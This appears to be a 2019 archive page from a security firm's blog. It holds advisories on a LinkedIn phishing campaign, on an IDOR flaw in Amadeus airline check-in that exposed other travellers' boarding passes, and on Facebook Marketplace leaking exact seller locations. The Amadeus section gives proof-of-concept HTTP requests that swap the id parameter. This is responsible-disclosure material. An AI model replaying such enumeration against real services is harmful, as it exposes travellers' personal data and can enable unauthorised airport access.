Archives for 2019

A new business email compromise (BEC) based campaign using compromised LinkedIn profiles to deliver content was identified by the team at 7 Elements today (7th November 2019).

The campaign uses LinkedIn email to deliver a message enticing the user to follow a link, which would result in the user being prompted for credentials. The phishing kit is complex in nature, supporting multiple email providers such as Office 365, Gmail and Hotmail. Analysis of the kit also showed inbuilt defensive capabilities designed to disrupt investigation by security vendors.

The following video demonstrates how an end user could be enticed to provide their email credentials via this campaign:

The campaign started at 07:03hrs on the 7th November 2019 and was still active at the point of publishing this advisory at 21:45hrs (14hrs later). In this period there had been over 1,900 visits to the phishing site, with 670 (35%) of those from the UK.

More detailed analysis of the phishing kit will follow in a later post.

Introduction

In a recent technical advisory that can be found here, 7 Elements discovered that it was possible to download valid boarding passes (not belonging to the user) for future flights that impacted all airlines using the Amadeus Check-in platform. This was due to a weakness within the application known as an IDOR vulnerability (Insecure Direct Object Reference). See OWASP for more background on IDOR.

The following images show two boarding passes obtained through the IDOR vulnerability before the issue was remediated by Amadeus:

Impact

The IDOR vulnerability combined with the ability to determine all airlines using the platform, makes this an issue that impacts Amadeus globally and impacted all airlines utilising the platform. The issue also highlights the importance of gaining assurance that commercial off-the-shelf (COTS) based solutions are fit for purpose and not placing trust in the solution providers hands. As with most things in life, the old saying of ‘Trust but Verify’ is still king.

PII – Downloading of valid boarding passes discloses customer names and flight details. The boarding pass also contains the booking reference. With that and the surname it would be possible to gain access to the booking and further sensitive information such as contact details (mobile phone etc).

Access to Restricted Areas – While further ID checks should prohibit actual use of another users boarding pass to gain access to the flight. The boarding pass could provide access to airside within the departure terminal. As such, malicious use of this issue could result in unauthorised access to all airports serviced by those airlines using the Amadeus platform. It should be noted that additional security controls may restrict the successful use of a boarding pass that has already been used to gain access airside. However, those controls are not uniformly deployed across all airports.

Details

When using an airline branded mobile application to check-in, it was noted that the mobile application makes a call to the Amadeus hosted application to retrieve the boarding pass.

Screenshot showing the link to ‘Display Boarding Passes’:

Clicking on the link prompts the following response:

Opening a new web page to display the boarding pass.

The URL accessed contains a parameter called ID. By changing the value within the ID parameter, it was possible to access other valid boarding passes.

Example URL:

https://checkin.si.amadeus.net/1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0

The structure of the web request allows for other airlines that utilise the Amadeus platform to be targeted by changing the following two letter codes to match the relevant IATA airline code:

Example of a FlyBe request:

https://checkin.si.amadeus.net/1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0

Example of a Smartwings request:

https://checkin.si.amadeus.net/1ASIHSSCWEBQS/sscwqs/mbp?IFOI=DCS&id=440968951&ln=en&productIndex=0

(URLs provided are no longer valid as it is past the departure time).

Further to the IDOR vulnerability, it should be noted that there was a lack of authentication required for access to the resource as well as a lack of brute force protection. Given this, it was possible to automate an attack to enumerate supported airlines and valid ID values for boarding passes relating to any airline using the platform.

Screenshot showing the enumeration of airline companies using the Check-in platform:

PoC

The following proof of concept shows access to a boarding pass not associated with the user.

Step One: First intercept a request to generate a boarding pass:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:41:28 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70581

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Two: Change to the id parameter to access a boarding pass not associated with the user:

Request:

GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=10442131&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:44:13 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70764

%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}

Response shows a valid pdf document returned to the user.

Whilst investigating the technical feasibility of scraping Facebook Marketplace to aid in the recovery of stolen goods, it was possible to identify sensitive data disclosing the exact location of the sale item.

The Location data contained within the JSON responses of adverts made through the Facebook Mobile Application, seemed… a little specific. Which goes against the generalised location data displayed to the end user.

Nice bike, glad Facebook fuzzes that location. Otherwise bad people could do bad things.

Digging Deeper

I quickly made my own advert for a random item/address using the mobile application, in order to verify that what I was seeing.

“Location is approximate to protect the seller’s privacy”… Yeah about that

Back on the web application I took a closer look at the requests generated when accessing the bicycles advert (as an unauthenticated user). I soon was able to confirm the request facebook.com/api/graphql, was revealing detailed location information in a JSON response.

The GraphQL API request when the advert is accessed unauthenticated. If you’re feeling lazy just zoom in on the centre of the circle.

For those that can’t read tiny writing the highlighted JSON section reads…

On checking the latitude/longitude on Google I found it pin pointed the exact location I pinned when making the advert. This would make it easy for anyone malicious to identify the location of that “£7,000 bike” almost down to the meter. It’s also probably not the best idea for the full postcode to be available publicly as well given it wouldn’t take much to find an address based on that and the other information available (i.e the sellers full name).

Isn’t that the exact location I pinned in the above screenshots?

So what’s wrong with that?

Whilst the user has to pin their exact address every bit of Facebooks UI during the item listing process suggests this is fine and will be fuzzed for anyone viewing the advert. The circle whilst pinning suggests the exact address/point will be fuzzed, the text on the adverts says the sellers location is approximate, there’s even functionality to pin your exact location using GPS so I don’t believe it’s intended that the user fuzzes their location manually.

Furthermore, when I tried to submit a specific location using the Facebook web application I found that I was completely unable to drill down beyond the nearest suburb (trying both postcode or full address just didn’t work).

No way to get more specific than the nearest Facebook “Place” in the web application

Expected Behaviour?

I would’ve expected that Facebook would randomise the point to a location within the circle or snap to the nearest generic location like the web application. I would also have expected that Facebook only reveal the first 3/4 characters of the postcode and not the full thing. Indeed, when Facebook made the fix to prevent this information being leaked the above seems to be the approach they took and now when I try to add an advert it snaps to a local park.

Challenges of Responsible Disclosure

I quickly reported my findings to Facebook, originally highlighting the full postcode, this was rejected as they didn’t believe it to be a security vulnerability. I did some more investigation and found the exact situation this occurs along with the long/lat parameters and updated the report… Again it was quickly rejected. Feeling a little bit down, I talked to someone I know who works at Facebook, they were able to get someone to take a more depth look at what I was actually reporting and as a result the report was accepted. A fix was then quickly implemented after just over a week.